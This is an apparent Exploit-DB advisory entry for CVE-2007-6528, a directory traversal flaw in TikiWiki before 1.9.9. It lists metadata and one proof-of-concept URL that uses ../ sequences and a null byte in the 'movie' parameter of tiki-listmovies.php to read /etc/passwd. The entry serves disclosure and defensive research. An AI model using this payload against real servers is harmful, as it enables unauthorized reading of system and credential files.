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TikiWiki Project < 1.9.9 - 'tiki-listmovies.php' Directory Traversal

EDB-ID:

4942

CVE:

2007-6528


EDB Verified:

Author:

Sha0

Type:

webapps


Exploit:   /  

Platform:

PHP

Date:

2008-01-20


Vulnerable App:
TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability

http://www.vulnsite.com/tiki-listmovies.php?movie=../../../../../../etc/passwd%001234

# milw0rm.com [2008-01-20]
            
Tags:
Advisory/Source: Link
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